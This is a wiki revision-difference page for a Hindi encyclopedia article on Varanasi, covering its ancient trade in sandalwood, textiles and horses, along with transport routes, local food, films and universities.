Difference between revisions of "वाराणसी"
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====कासिक चंदन (काशी का चंदन)==== | ====कासिक चंदन (काशी का चंदन)==== | ||
इसके अतिरिक्त ‘कासिक चंदन’ भी वाराणसी का एक प्रमुख उद्योग था जातकों में ‘कासिक चंदन’ का उल्लेख कई स्थलों पर आया है।<ref>‘‘कासिकवत्थं निवासेन्ति, काशिकाविलेपन’’ जातक, भाग 1, संख्या 20, पृष्ठ 505</ref> पंडर जातक<ref>अन्न पानं काशिकं चंदनन्च। मनापिट्ठियो मालमुच्छादनन्च॥ जातक, भाग 5, संख्या 518, पृष्ठ 166</ref> में ‘कासिक चन्दनन्च’ शब्द मिलता है। '''इन उल्लेखों से यह विदित होता है कि बौद्ध काल में वाराणसी चंदन के उद्योग एवं व्यापार के लिए सुविख्यात था।''' | इसके अतिरिक्त ‘कासिक चंदन’ भी वाराणसी का एक प्रमुख उद्योग था जातकों में ‘कासिक चंदन’ का उल्लेख कई स्थलों पर आया है।<ref>‘‘कासिकवत्थं निवासेन्ति, काशिकाविलेपन’’ जातक, भाग 1, संख्या 20, पृष्ठ 505</ref> पंडर जातक<ref>अन्न पानं काशिकं चंदनन्च। मनापिट्ठियो मालमुच्छादनन्च॥ जातक, भाग 5, संख्या 518, पृष्ठ 166</ref> में ‘कासिक चन्दनन्च’ शब्द मिलता है। '''इन उल्लेखों से यह विदित होता है कि बौद्ध काल में वाराणसी चंदन के उद्योग एवं व्यापार के लिए सुविख्यात था।''' | ||
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| + | बहुमूल्य वस्त्रों के अतिरिक्त काशी जनपद चंदन के लिए भी प्रसिद्ध था। जातकों और अंगुत्तरनिकाय<ref>108- अंगुत्तरनिकाय, जिल्द तीसरी, पृष्ठ 391</ref> में ‘कासि विलेपन’ और ‘कासि चंदन’ का उल्लेख मिलता है। काशी में चंदन की लकड़ी का उद्योग मिलिंदपन्हों में भी मिलता है।<ref>मिलिंदपन्हों, पृष्ठ 243-48</ref> | ||
| + | [[चित्र:Market-Varanasi-11.jpg|thumb|250px|साड़ी की दुकान, वाराणसी]] | ||
| + | इस प्रकार यह निश्चित है कि बौद्ध साहित्य में वाराणसी को व्यापार और वाणिज्य के क्षेत्र में समृद्धिप्राप्त थी जिसका विवरण बौद्ध ग्रंथों में अनेकश: मिलता है। | ||
====घोड़ों का व्यापार==== | ====घोड़ों का व्यापार==== | ||
<blockquote>'वाराणसी में उत्तरापथ के घोड़ों का व्यापार होता था। यहाँ के बाज़ार में सुंदर एवम् अच्छे सैंधव घोड़े उपलब्ध थे, जिनकी माँग अधिक रहती थी। अनेकश: घोड़े के व्यापारियों को उत्तरापथ (गांधार-तक्षशिला) से घोड़े लेकर वाराणसी में बेचने आने का उल्लेख है। उत्तरापथ में पाँच सौ अश्वों को लेकर व्यापारार्थ व्यापारियों का वाराणसी में आने का प्रमाण मिलता है।'<ref>जातक, भाग 2, पृष्ठ 287 जातक, भाग 1, (तंडनालि जातक, पृष्ठ 208)</ref></blockquote> | <blockquote>'वाराणसी में उत्तरापथ के घोड़ों का व्यापार होता था। यहाँ के बाज़ार में सुंदर एवम् अच्छे सैंधव घोड़े उपलब्ध थे, जिनकी माँग अधिक रहती थी। अनेकश: घोड़े के व्यापारियों को उत्तरापथ (गांधार-तक्षशिला) से घोड़े लेकर वाराणसी में बेचने आने का उल्लेख है। उत्तरापथ में पाँच सौ अश्वों को लेकर व्यापारार्थ व्यापारियों का वाराणसी में आने का प्रमाण मिलता है।'<ref>जातक, भाग 2, पृष्ठ 287 जातक, भाग 1, (तंडनालि जातक, पृष्ठ 208)</ref></blockquote> | ||
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बुद्ध काल में वाराणसी नगरी सुंदर, बहुमूल्य वस्त्रों के लिए भी विख्यात थी जिसका उल्लेख बौद्ध ग्रंथों में अनेक स्थलों पर मिलता है। संयुक्त निकाय के वत्थिसुत्त में काशी का बना कपड़ा अन्य समस्त जगहों से बने हुए कपड़ों में अग्र (श्रेष्ठ) बताया गया है।<ref>संयुक्तनिकाय (हिन्दी अनुवाद), दूसरा भाग, पृष्ठ 641</ref> | बुद्ध काल में वाराणसी नगरी सुंदर, बहुमूल्य वस्त्रों के लिए भी विख्यात थी जिसका उल्लेख बौद्ध ग्रंथों में अनेक स्थलों पर मिलता है। संयुक्त निकाय के वत्थिसुत्त में काशी का बना कपड़ा अन्य समस्त जगहों से बने हुए कपड़ों में अग्र (श्रेष्ठ) बताया गया है।<ref>संयुक्तनिकाय (हिन्दी अनुवाद), दूसरा भाग, पृष्ठ 641</ref> | ||
*माज्झिमनिकाय की अट्ठकथा में यहाँ के वस्त्रों की प्रभूत प्रशंसा की गई है।<ref>‘‘वाराणसियं किर कप्पासो पि मृदु, सुत्तकत्तिकायो पि तत्तवायो पि छेका। उदकंपि सुचिसिनिद्धं, तस्मां वत्थं उभतो भावविमट्ठं होति। द्वीस पस्सेसु मट्ठं मृदुसिनिद्धं खायति।’’मज्झिमनिकाय, 2/3/7: देखें, भरत सिंह उपाध्याय, बुद्धकालीन भारतीय भूगोल, पृष्ठ 368</ref> एक स्थल पर एक धूर्त ने जीवकाम्रवन को जाती हुई शुभा भिक्षुणी को काशी के सूक्ष्म वस्त्रों का लोभ दिलाकर भुलाने की चेष्टा में उससे कहा था कि ‘‘काशी के उत्तम वस्त्रों को धारण करने वाली मुझ रूपवती को छोड़कर तुम कहाँ जाओगे।’’<ref>‘‘...कासिकुत्तमधारिनि.... कस्सोहाय गच्छसि’’ -थेरीगाथा, पृष्ठ 298</ref> | *माज्झिमनिकाय की अट्ठकथा में यहाँ के वस्त्रों की प्रभूत प्रशंसा की गई है।<ref>‘‘वाराणसियं किर कप्पासो पि मृदु, सुत्तकत्तिकायो पि तत्तवायो पि छेका। उदकंपि सुचिसिनिद्धं, तस्मां वत्थं उभतो भावविमट्ठं होति। द्वीस पस्सेसु मट्ठं मृदुसिनिद्धं खायति।’’मज्झिमनिकाय, 2/3/7: देखें, भरत सिंह उपाध्याय, बुद्धकालीन भारतीय भूगोल, पृष्ठ 368</ref> एक स्थल पर एक धूर्त ने जीवकाम्रवन को जाती हुई शुभा भिक्षुणी को काशी के सूक्ष्म वस्त्रों का लोभ दिलाकर भुलाने की चेष्टा में उससे कहा था कि ‘‘काशी के उत्तम वस्त्रों को धारण करने वाली मुझ रूपवती को छोड़कर तुम कहाँ जाओगे।’’<ref>‘‘...कासिकुत्तमधारिनि.... कस्सोहाय गच्छसि’’ -थेरीगाथा, पृष्ठ 298</ref> | ||
| − | *[[मिलिंदपन्हों]] में उल्लेखित है कि '''यवन शासक मिलिंद की राजधानी सागल (स्यालकोट) में भी काशी के वस्त्र विक्रय के लिए जाते थे।'''<ref>107- मिलिंदपन्हो, पृष्ठ 222</ref> | + | *[[मिलिन्दपन्ह|मिलिंदपन्हों]] में उल्लेखित है कि '''[[यवन]] शासक [[मिलिंद (मिनांडर)|मिलिंद]] की राजधानी सागल (स्यालकोट) में भी काशी के वस्त्र विक्रय के लिए जाते थे।'''<ref>107- मिलिंदपन्हो, पृष्ठ 222</ref> |
इस प्रकार यह सुविदित है कि बुद्ध काल में काशी के वस्त्र महत्त्वपूर्ण थे। | इस प्रकार यह सुविदित है कि बुद्ध काल में काशी के वस्त्र महत्त्वपूर्ण थे। | ||
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====व्यापारिक मार्ग==== | ====व्यापारिक मार्ग==== | ||
वाराणसी तत्कालीन व्यापारिक मार्गों का एक प्रमुख केंद्र था। देश के विभिन्न भागों में यह व्यापारिक मार्गों से जुड़ा हुआ था। स्थल मार्ग से व्यापार के लिए जाते हुए वाराणसी के व्यापारियों को भयावह जंगलों के कारण होने वाले कष्टों का सामना करना पड़ता था।<ref>जातक, भाग 3 सं. 243, पृष्ठ 356 जातक, भाग 5 संख्या 256, पृष्ठ 61</ref> जातकों से ज्ञात होता है कि बनारस से एक रास्ता [[तक्षशिला]] को जाता था। तक्षशिला उस युग में भारतीय और विदेशी व्यापारियों का मिलन केंद्र था।<ref>मोतीचंद्र सार्थवाह, पृष्ठ 12</ref> एक जातक में वाराणसी से शिल्प विद्या सीखने के लिए तक्षशिला जाने का उल्लेख मिलता है।<ref>जातक, भाग 3, पृष्ठ 348</ref> | वाराणसी तत्कालीन व्यापारिक मार्गों का एक प्रमुख केंद्र था। देश के विभिन्न भागों में यह व्यापारिक मार्गों से जुड़ा हुआ था। स्थल मार्ग से व्यापार के लिए जाते हुए वाराणसी के व्यापारियों को भयावह जंगलों के कारण होने वाले कष्टों का सामना करना पड़ता था।<ref>जातक, भाग 3 सं. 243, पृष्ठ 356 जातक, भाग 5 संख्या 256, पृष्ठ 61</ref> जातकों से ज्ञात होता है कि बनारस से एक रास्ता [[तक्षशिला]] को जाता था। तक्षशिला उस युग में भारतीय और विदेशी व्यापारियों का मिलन केंद्र था।<ref>मोतीचंद्र सार्थवाह, पृष्ठ 12</ref> एक जातक में वाराणसी से शिल्प विद्या सीखने के लिए तक्षशिला जाने का उल्लेख मिलता है।<ref>जातक, भाग 3, पृष्ठ 348</ref> | ||
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; बनारस – ए मिस्टिक लव स्टोरी | ; बनारस – ए मिस्टिक लव स्टोरी | ||
| − | '''बनारस – ए मिस्टिक लव स्टोरी''' बनारस शहर में बनी एक [[हिन्दी]] फ़िल्म है। इस फ़िल्म में बनारस की गलियों, घाटों और मंदिरों को एक प्रेम कहानी में पिरोया गया है। आठ करोड़ की लागत वाली इस फ़िल्म में नसीरुद्दीन शाह, डिंपल कपाड़िया, उर्मिला मातोंडकर, अस्मित पटेल और आकाश खुराना ने प्रमुख भूमिकाएँ निभाई हैं। | + | '''बनारस – ए मिस्टिक लव स्टोरी''' बनारस शहर में बनी एक [[हिन्दी]] फ़िल्म है। इस फ़िल्म में बनारस की गलियों, घाटों और मंदिरों को एक प्रेम कहानी में पिरोया गया है। आठ करोड़ की लागत वाली इस फ़िल्म में नसीरुद्दीन शाह, डिंपल कपाड़िया, उर्मिला मातोंडकर, अस्मित पटेल और आकाश खुराना ने प्रमुख भूमिकाएँ निभाई हैं। [[चित्र:Joi-Baba-Felunath.jpg|thumb|left|120px|जोइ बाबा फेलुनाथ]] |
; जोइ बाबा फेलुनाथ | ; जोइ बाबा फेलुनाथ | ||
| − | '''जोइ बाबा फेलुनाथ''' ([[1979]]) [[भारत रत्न]] सम्मानित निर्देशक [[सत्यजीत रे]] द्वारा निर्देशित एक बांग्ला फ़िल्म है। इस फ़िल्म के अभिनेता सौमित्र चटर्जी, संतोष दत्ता, सिद्दार्थ चटर्जी, उत्पल दत्त आदि हैं। यह फ़िल्म सत्यजीत | + | '''जोइ बाबा फेलुनाथ''' ([[1979]]) [[भारत रत्न]] सम्मानित निर्देशक [[सत्यजीत रे]] द्वारा निर्देशित एक बांग्ला फ़िल्म है। इस फ़िल्म के अभिनेता सौमित्र चटर्जी, संतोष दत्ता, सिद्दार्थ चटर्जी, [[उत्पल दत्त]] आदि हैं। यह फ़िल्म सत्यजीत राय के प्रसिद्ध उपन्यास '''फ़ेलुदा''' पर आधारित है। |
[[चित्र:Khaike paan.jpg|thumb|120px|खई के पान बनारस वाला]] | [[चित्र:Khaike paan.jpg|thumb|120px|खई के पान बनारस वाला]] | ||
; डॉन (1978) | ; डॉन (1978) | ||
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वाराणसी में बहुत से भोजनालय हैं जहाँ पर स्वादिष्ट भोजन मिलता है। | वाराणसी में बहुत से भोजनालय हैं जहाँ पर स्वादिष्ट भोजन मिलता है। | ||
;जयपुरिया होटल | ;जयपुरिया होटल | ||
| − | जयपुरिया होटल वाराणसी में गोदौलिया चौक के पास स्थित है। इस होटल में बहुत स्वादिष्ट भोजन मिलता है। यहाँ पर ख़ास थाली मिलती है। इसमें तीन सब्जी, दाल, कढ़ी, रोटी, चावल, सलाद तथा पापड़ होता है। इस | + | जयपुरिया होटल वाराणसी में गोदौलिया चौक के पास स्थित है। इस होटल में बहुत स्वादिष्ट भोजन मिलता है। यहाँ पर ख़ास थाली मिलती है। इसमें तीन सब्जी, दाल, कढ़ी, रोटी, चावल, सलाद तथा पापड़ होता है। इस भोजनालय की ख़ास बात है कि यहाँ भोजन लकड़ी के आग पर बनाया जाता है। इस भोजन को बनाने में प्याज और लहसुन का भी उपयोग नहीं होता है। |
;कचौड़ी-सब्जी | ;कचौड़ी-सब्जी | ||
| − | वाराणसी के लोग नाश्ते में कचौड़ी-सब्जी खाना पसंद करते हैं। यहाँ के लोग कचौड़ी-सब्जी के साथ जलेबी खाते हैं। | + | वाराणसी के लोग नाश्ते में बहुधा कचौड़ी-सब्जी खाना पसंद करते हैं। यहाँ के लोग कचौड़ी-सब्जी के साथ जलेबी खाते हैं। |
;विश्वनाथ साहब होटल | ;विश्वनाथ साहब होटल | ||
विश्वनाथ साहब होटल गोदौलिया चौक के पास स्थित है। यहाँ देशी घी की कचौड़ी-सब्जी प्रसिद्ध है। इस होटल के पास 'काशी चाट भंडार' है। काशी चाट भंडार की चाट बहुत स्वादिष्ट होती है। | विश्वनाथ साहब होटल गोदौलिया चौक के पास स्थित है। यहाँ देशी घी की कचौड़ी-सब्जी प्रसिद्ध है। इस होटल के पास 'काशी चाट भंडार' है। काशी चाट भंडार की चाट बहुत स्वादिष्ट होती है। | ||
;पान | ;पान | ||
| − | वाराणसी पान के लिए प्रसिद्ध है। वाराणसी आने वालों में पान खाने का शौक़ रखने वाले को '''बनारसी पान''' ज़रुर खाना चाहिए। | + | वाराणसी पान के लिए प्रसिद्ध है। वाराणसी आने वालों में पान खाने का शौक़ रखने वाले को '''बनारसी पान''' ज़रुर खाना चाहिए। [[हिन्दी]] की सुपरहिट फ़िल्म डॉन का गाना '''खई के पान बनारस वाला''' जो [[अमिताभ बच्चन]] पर चित्रांकित किया गया था, '''बनारसी पान''' की प्रशंसा में गाया गया था और बहुत लोकप्रिय हुआ था। |
==कृषि और खनिज== | ==कृषि और खनिज== | ||
| − | [[चित्र:Cotton-Harvesting.jpg|thumb|150px|कपास | + | [[चित्र:Cotton-Harvesting.jpg|thumb|150px|कपास चुनती युवती]] |
====कपास की खेती==== | ====कपास की खेती==== | ||
| − | वाराणसी नगर को वाणिज्य के क्षेत्र में भी ख्याति प्राप्त था। जातकों से भी विदित होता है कि वाराणसी के बहुमूल्य, रंगीन, सुगंधित, सुवासित, पतले एवं चिकने कपड़े विक्रय के लिए सुदूर देशों में भेजे जाते थे। काशी में बने वस्त्रों को ‘काशी कुत्तम,<ref>जातक, खंड 6 सं. 539 (महाजनक जातक)</ref> और ‘कासीय’<ref>तत्रैव, खंड 6, संख्या 547 (महावेसत्त जातक)</ref> भी कहते थे। संभवत: इन शब्दों का प्रयोग गुणवाचक संदर्भ में किया गया है। ऐसा समझा जाता है कि एक समय वाराणसी के आसपास कपास की अच्छी खेती होती थी। तुंडिल जातक में<ref>तत्रैव भाग 3 पृष्ठ 286 मोतीचंद्र, काशी का इतिहास, पृष्ठ 47</ref> वाराणसी के आसपास कपास के खेतों का वर्णन मिलता है। एक जातक में वैराग्य लेने वाले पति के मन को आकर्षित करने के लिए उसकी पत्नी चंदन से सुवासित बनारसी रेशमी साड़ी पहनने की प्रतिज्ञा करती है।<ref>जातक संख्या 457 देखें, उदयनारायण राय, प्राचीन भारत में नगर तथा नगर जीवन, पृष्ठ 126</ref> महाहंस जातक में काशिराज के घर में विद्यमान बहुमूल्य सामग्रियों में रत्न, सोना, चाँदी, मोती, बिल्लौर, मणि, शंख, वस्त्र, हाथीदाँत, बर्तन और ताँबा इत्यादि प्रमुख थे।<poem><ref>यं किंविरतनं अत्थि कासिराज निवेसने। | + | वाराणसी नगर को वाणिज्य के क्षेत्र में भी ख्याति प्राप्त था। जातकों से भी विदित होता है कि वाराणसी के बहुमूल्य, रंगीन, सुगंधित, सुवासित, पतले एवं चिकने कपड़े विक्रय के लिए सुदूर देशों में भेजे जाते थे। '''काशी में बने वस्त्रों को ‘काशी कुत्तम''',<ref>जातक, खंड 6 सं. 539 (महाजनक जातक)</ref> '''और ‘कासीय’'''<ref>तत्रैव, खंड 6, संख्या 547 (महावेसत्त जातक)</ref> '''भी कहते थे।''' संभवत: इन शब्दों का प्रयोग गुणवाचक संदर्भ में किया गया है। ऐसा समझा जाता है कि एक समय वाराणसी के आसपास कपास की अच्छी खेती होती थी। तुंडिल जातक में<ref>तत्रैव भाग 3 पृष्ठ 286 मोतीचंद्र, काशी का इतिहास, पृष्ठ 47</ref> '''वाराणसी के आसपास कपास के खेतों का वर्णन मिलता है।''' एक जातक में वैराग्य लेने वाले पति के मन को आकर्षित करने के लिए उसकी पत्नी चंदन से सुवासित बनारसी रेशमी साड़ी पहनने की प्रतिज्ञा करती है।<ref>जातक संख्या 457 देखें, उदयनारायण राय, प्राचीन भारत में नगर तथा नगर जीवन, पृष्ठ 126</ref> महाहंस जातक में [[काशिराज]] के घर में विद्यमान बहुमूल्य सामग्रियों में रत्न, सोना, चाँदी, मोती, बिल्लौर, मणि, शंख, वस्त्र, हाथीदाँत, बर्तन और ताँबा इत्यादि प्रमुख थे।<poem><ref>यं किंविरतनं अत्थि कासिराज निवेसने। |
रजतं जातरूपन्चं मुक्ता बेलुरिया बहु। | रजतं जातरूपन्चं मुक्ता बेलुरिया बहु। | ||
मणयो संखमुत्तन्य वत्थकं हरिचंदनं। | मणयो संखमुत्तन्य वत्थकं हरिचंदनं। | ||
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==यातायात और परिवहन== | ==यातायात और परिवहन== | ||
| − | किसी नगर के विकास का एक मुख्य कारण यातायात के साधन हैं। बहुत प्राचीन काल से वाराणसी में यातायात की अच्छी सुविधा रही है। यात्रियों के आराम पर बनारसवासियों का काफ़ी ध्यान था। बनारसवासी सड़कों पर जानवरों के लिए पानी का भी प्रबंध करते थे। जातकों में (जा. 175) एक जगह कहा गया है कि काशी जनपद के राजमार्ग पर एक गहरा कुआं था जिसके पानी तक पहुँचने के लिए कोई साधन न था। [[चित्र:Lal-Bahadur-Shastri-Airport-Varanasi.jpg|thumb|250px|left|लाल बहादुर शास्त्री हवाई अड्डा, वाराणसी]] उस रास्ते से जो लोग जाते थे वे पुण्य के लिए पानी खींचकर एक द्रोणी भर देते थे जिससे जानवर पानी पी सकें। | + | किसी नगर के विकास का एक मुख्य कारण यातायात के साधन हैं। बहुत प्राचीन काल से वाराणसी में यातायात की अच्छी सुविधा रही है। यात्रियों के आराम पर बनारसवासियों का काफ़ी ध्यान था। बनारसवासी सड़कों पर जानवरों के लिए पानी का भी प्रबंध करते थे। जातकों में (जा. 175) एक जगह कहा गया है कि '''काशी जनपद के राजमार्ग पर एक गहरा कुआं था जिसके पानी तक पहुँचने के लिए कोई साधन न था।''' [[चित्र:Lal-Bahadur-Shastri-Airport-Varanasi.jpg|thumb|250px|left|लाल बहादुर शास्त्री हवाई अड्डा, वाराणसी]] '''उस रास्ते से जो लोग जाते थे वे पुण्य के लिए पानी खींचकर एक द्रोणी भर देते थे जिससे जानवर पानी पी सकें।''' |
वाराणसी हवाई, रेल तथा सड़क मार्ग द्वारा देश के अन्य भागों से जुड़ा हुआ है। | वाराणसी हवाई, रेल तथा सड़क मार्ग द्वारा देश के अन्य भागों से जुड़ा हुआ है। | ||
;हवाई मार्ग | ;हवाई मार्ग | ||
| − | वाराणसी का सबसे नज़दीकी हवाई अड्डा बाबतपुर में है। यह वाराणसी से 22 किलोमीटर तथा [[सारनाथ]] से 30 किलोमीटर दूर है। | + | वाराणसी का सबसे नज़दीकी हवाई अड्डा बाबतपुर में है। यह वाराणसी से 22 किलोमीटर तथा [[सारनाथ]] से 30 किलोमीटर दूर है। [[दिल्ली]], [[आगरा]], [[खजुराहो]], [[कोलकाता]], [[मुंबई]], [[लखनऊ]], भुवनेश्वर तथा काठमांडू से यहाँ के लिए सीधी हवाई सेवा है। |
;रेल मार्ग | ;रेल मार्ग | ||
[[चित्र:Varanasi-Railway-Station.jpg|thumb|250px|वाराणसी रेलवे स्टेशन]] | [[चित्र:Varanasi-Railway-Station.jpg|thumb|250px|वाराणसी रेलवे स्टेशन]] | ||
| − | वाराणसी कैंट तथा | + | वाराणसी कैंट तथा मुग़लसराय (वाराणसी के मुख्य रेलवे स्टेशन से 16 किलोमीटर दूर) यहाँ का मुख्य रेल जंक्शन है। ये दोनों जंक्शन वाराणसी को देश के अन्य प्रमुख नगरों से जोड़ते हैं। |
;सड़क मार्ग | ;सड़क मार्ग | ||
| − | वाराणसी सड़क मार्ग द्वारा देश के अन्य नगरों से जुड़ा हुआ है। दिल्ली से वाराणसी के लिए सीधी बस सेवा है। यहाँ के | + | वाराणसी सड़क मार्ग द्वारा देश के अन्य नगरों से जुड़ा हुआ है। दिल्ली से वाराणसी के लिए सीधी बस सेवा है। यहाँ के आई.एस.बी.टी. तथा आनन्द विहार बस अड्डे से वाराणसी के लिए बसें चलती हैं। लखनऊ तथा [[इलाहाबाद]] से भी वाराणसी के लिए सीधी बस सेवा है। |
;सार्वजनिक यातायात | ;सार्वजनिक यातायात | ||
वाराणसी शहर के स्थानीय प्रचलित यातायात साधन ऑटो रिक्शा एवं साइकिल रिक्शा हैं। बाहरी क्षेत्रों में नगर-बस सेवा में मिनी-बसें चलती हैं। छोटी नावें और छोटे स्टीमर गंगा नदी पार करने हेतु उपलब्ध रहते हैं। | वाराणसी शहर के स्थानीय प्रचलित यातायात साधन ऑटो रिक्शा एवं साइकिल रिक्शा हैं। बाहरी क्षेत्रों में नगर-बस सेवा में मिनी-बसें चलती हैं। छोटी नावें और छोटे स्टीमर गंगा नदी पार करने हेतु उपलब्ध रहते हैं। | ||
;जल मार्ग | ;जल मार्ग | ||
| − | वाराणसी के धार्मिक और व्यापारिक प्रभाव का मुख्य कारण इसकी गंगा पर स्थिति होना है। गंगा में बहुत प्राचीन काल से नावें चलती थीं जिनसे काफ़ी व्यापार होता था। वाराणसी से कौशांबी तक जलमार्ग से दूरी 30 योजन दी हुई है। वाराणसी से समुद्र यात्रा भी होती थी।[[चित्र:traffic-Varanasi.jpg|thumb|left|250px|बाज़ार का एक दृश्य, वाराणसी]] एक जातक | + | वाराणसी के धार्मिक और व्यापारिक प्रभाव का मुख्य कारण इसकी गंगा पर स्थिति होना है। गंगा में बहुत प्राचीन काल से नावें चलती थीं जिनसे काफ़ी व्यापार होता था। वाराणसी से कौशांबी तक जलमार्ग से दूरी 30 [[योजन]] दी हुई है। '''वाराणसी से समुद्र यात्रा भी होती थी।'''[[चित्र:traffic-Varanasi.jpg|thumb|left|250px|बाज़ार का एक दृश्य, वाराणसी]] एक जातक <ref>जातक 384</ref> में कहा गया है कि '''वाराणसी के कुछ व्यापारियों ने दिसाकाक लेकर समुद्र यात्रा की। यह दिशा काक समुद्र यात्रा के समय किनारे का पता लगाने के लिए छोड़ा जाता था।''' कभी-कभी काशी के राजा भी नावों के बेड़ों में यात्रा करते थे।<ref>(जातक 3/326)</ref> |
| − | [[अलबरूनी]] के समय में | + | [[अलबरूनी]] के समय में <ref>11वीं सदी का आरंभ</ref> बारी <ref>आगरा की एक तहसील</ref> से एक सड़क गंगा के पूर्वी किनारे [[अयोध्या]] पहुँचती थी। बारी से अयोध्या 25 [[फरसंग]] तथा वहां से वाराणसी 20 फरसंग था। यहाँ से [[गोरखपुर]], पटना, [[मुंगेर]] होती हुई यह सड़क [[गंगासागर]] को चली जाती थी। एक यही [[वैशाली]] वाली प्राचीन सड़क है और इसका उपयोग [[सल्तनत युग]] में बहुत होता था। |
====ग्रैण्ड ट्रंक रोड==== | ====ग्रैण्ड ट्रंक रोड==== | ||
[[चित्र:Road-Varanasi.jpg|बाज़ार का दृश्य, वाराणसी|thumb|250px]] | [[चित्र:Road-Varanasi.jpg|बाज़ार का दृश्य, वाराणसी|thumb|250px]] | ||
| − | सड़क-ए-आजम जिसे हम ग्रैण्ड ट्रंक रोड कहते हैं, बहुत प्राचीन सड़क है जो [[मौर्य]] काल में पुष्पकलावती से [[पाटलिपुत्र]] होती हुई [[ताम्रलिप्ति]] तक जाती थी। शेरशाह ने इस सड़क का पुन: उद्धार किया, इस पर | + | सड़क-ए-आजम जिसे हम [[ग्रैण्ड ट्रंक रोड]] कहते हैं, बहुत प्राचीन सड़क है जो [[मौर्य]] काल में पुष्पकलावती से [[पाटलिपुत्र]] होती हुई [[ताम्रलिप्ति]] तक जाती थी। [[शेरशाह]] ने इस सड़क का पुन: उद्धार किया, इस पर सराय बनवाईं और डाक का प्रबंध किया। '''कहते हैं कि यह सड़क-ए-आजम [[बंगाल]] में सोनारगांव से सिंध तक जाती थी और इसकी लम्बाई 1500 कोस थी। यह सड़क वाराणसी से होकर जाती थी।''' इस सड़क की [[अकबर]] के समय में काफ़ी उन्नति हुई और शायद उसी काल में मिर्ज़ामुरात और सैयदराज में सरायें बनी। [[आगरा]] से [[पटना]] तक इस सड़क का वर्णन पीटर मंटी ने 1632 ईं. में किया है। एक सड़क [[दिल्ली]]- [[मुरादाबाद]], बनारस होकर [[पटना]] जाती थी और दूसरी [[आगरा]] - [[इलाहाबाद]] होकर वाराणसी आती थी। इन बड़ी सड़कों के अतिरिक्त बहुत से छोटे-मोटे रास्ते वाराणसी को [[जौनपुर]], ग़ाज़ीपुर और [[मिर्ज़ापुर]] से मिलाते थे। |
====चौराहों पर सभाएँ==== | ====चौराहों पर सभाएँ==== | ||
| − | यात्रियों के विश्राम के लिये अक्सर चौराहों पर सभाएँ बनवायी जाती थीं। इनमें सोने के लिए आसंदी और पानी के घड़े रखे होते थे। इनके चारों ओर दीवारें होती थी और एक ओर फाटक। भीतर ज़मीन पर बालू बिछी होती थी और ताड़ वृक्षों की | + | यात्रियों के विश्राम के लिये अक्सर चौराहों पर सभाएँ बनवायी जाती थीं। इनमें सोने के लिए [[आसंदी]] और पानी के घड़े रखे होते थे। इनके चारों ओर दीवारें होती थी और एक ओर फाटक। भीतर ज़मीन पर बालू बिछी होती थी और ताड़ वृक्षों की क़तारें लगी होती थी। |
==शिक्षण संस्थान== | ==शिक्षण संस्थान== | ||
[[चित्र:Banaras-Hindu-University.jpg|thumb|250px|[[काशी हिन्दू विश्वविद्यालय]]]] | [[चित्र:Banaras-Hindu-University.jpg|thumb|250px|[[काशी हिन्दू विश्वविद्यालय]]]] | ||
| − | वाराणसी पूर्व से ही विद्या और शिक्षा के क्षेञ में एक अहम प्रचारक और केन्द्रीय संस्था के रूप में स्थापित था। मध्यकाल के दौरान [[उत्तर प्रदेश]] में उदार परम्परा का संचालन था। वाराणसी हिन्दू शिक्षा केन्द्र के | + | वाराणसी पूर्व से ही विद्या और शिक्षा के क्षेञ में एक अहम प्रचारक और केन्द्रीय संस्था के रूप में स्थापित था। मध्यकाल के दौरान [[उत्तर प्रदेश]] में उदार परम्परा का संचालन था। वाराणसी 'हिन्दू शिक्षा केन्द्र' के रूप में विश्वव्यापक हुआ। वाराणसी के उच्चतर माध्यमिक विद्यालय 'इंडियन सर्टिफिकेट ऑफ़ सैकेंडरी एजुकेशन' <ref>(आई.सी.एस.ई)</ref>, 'केन्द्रीय माध्यमिक शिक्षा बोर्ड' <ref>सी.बी.एस.ई</ref> या 'उत्तर प्रदेश माध्यमिक शिक्षा परिषद' <ref>यू.पी.बोर्ड</ref> से सहबद्ध हैं। प्राचीन काल से ही लोग यहाँ [[दर्शन शास्त्र]], [[संस्कृत]], [[खगोल शास्त्र]], सामाजिक ज्ञान एवं धार्मिक शिक्षा आदि के ज्ञान के लिये आते रहे हैं। '''भारतीय परंपरा में प्रायः वाराणसी को सर्वविद्या की राजधानी कहा गया है।''' वाराणसी में एक जामिया सलाफ़िया भी है, जो सलाफ़ी इस्लामी शिक्षा का केन्द्र है। |
====काशी हिन्दू विश्वविद्यालय==== | ====काशी हिन्दू विश्वविद्यालय==== | ||
{{मुख्य|काशी हिन्दू विश्वविद्यालय}} | {{मुख्य|काशी हिन्दू विश्वविद्यालय}} | ||
| − | काशी हिन्दू विश्वविद्यालय या बनारस हिन्दू विश्वविद्यालय वाराणसी में स्थित एक केन्द्रीय विश्वविद्यालय है। इस विश्वविद्यालय की स्थापना (बनारस हिन्दू विश्वविद्यालय एक्ट, एक्ट क्रमांक 16, सन 1915) के अंतर्गत हुई थी। [[मदनमोहन मालवीय|पण्डित मदनमोहन मालवीय]] ने काशी हिन्दू विश्वविद्यालय की स्थापना का प्रारम्भ [[1904]] ई. में किया, जब काशी नरेश 'महाराज प्रभुनारायण सिंह' की अध्यक्षता में संस्थापकों की प्रथम बैठक हुई। [[1905]] ई. में विश्वविद्यालय का प्रथम पाठ्यक्रम प्रकाशित हुआ। | + | काशी हिन्दू विश्वविद्यालय या बनारस हिन्दू विश्वविद्यालय वाराणसी में स्थित एक केन्द्रीय विश्वविद्यालय है। इस विश्वविद्यालय की स्थापना <ref>(बनारस हिन्दू विश्वविद्यालय एक्ट, एक्ट क्रमांक 16, सन 1915)</ref> के अंतर्गत हुई थी। [[मदनमोहन मालवीय|पण्डित मदनमोहन मालवीय]] ने काशी हिन्दू विश्वविद्यालय की स्थापना का प्रारम्भ [[1904]] ई. में किया, जब काशी नरेश 'महाराज प्रभुनारायण सिंह' की अध्यक्षता में संस्थापकों की प्रथम बैठक हुई। [[1905]] ई. में विश्वविद्यालय का प्रथम पाठ्यक्रम प्रकाशित हुआ। |
[[चित्र:Sampurnanand-Sanskrit-University.jpg|thumb|left|220px|[[सम्पूर्णानन्द संस्कृत विश्वविद्यालय]]]] | [[चित्र:Sampurnanand-Sanskrit-University.jpg|thumb|left|220px|[[सम्पूर्णानन्द संस्कृत विश्वविद्यालय]]]] | ||
====सम्पूर्णानन्द संस्कृत विश्वविद्यालय==== | ====सम्पूर्णानन्द संस्कृत विश्वविद्यालय==== | ||
